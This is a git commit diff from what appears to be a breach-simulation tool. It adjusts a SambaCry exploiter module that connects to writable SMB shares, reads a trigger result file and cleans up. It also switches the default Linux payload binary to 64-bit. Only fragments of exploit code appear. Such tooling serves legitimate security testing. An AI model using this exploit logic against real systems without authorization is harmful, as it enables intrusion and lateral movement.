sambacry works

default monkey binary in linux is now 64bit
This commit is contained in:
Itay Mizeretz 2017-08-31 18:40:42 +03:00
parent bb4a168f41
commit 5de433eae0
2 changed files with 4 additions and 5 deletions

View File

@ -74,8 +74,7 @@ class SambaCryExploiter(HostExploiter):
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
# TODO: uncomment
#self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
# TODO: send telemetry
@ -117,10 +116,10 @@ class SambaCryExploiter(HostExploiter):
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA)
file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError) as e:
except (impacket.smbconnection.SessionError, SessionError):
pass
smb_client.disconnectTree(tree_id)

View File

@ -30,7 +30,7 @@ MONKEY_DOWNLOADS = [
},
{
'type': 'linux',
'filename': 'monkey-linux-32',
'filename': 'monkey-linux-64',
},
{
'type': 'windows',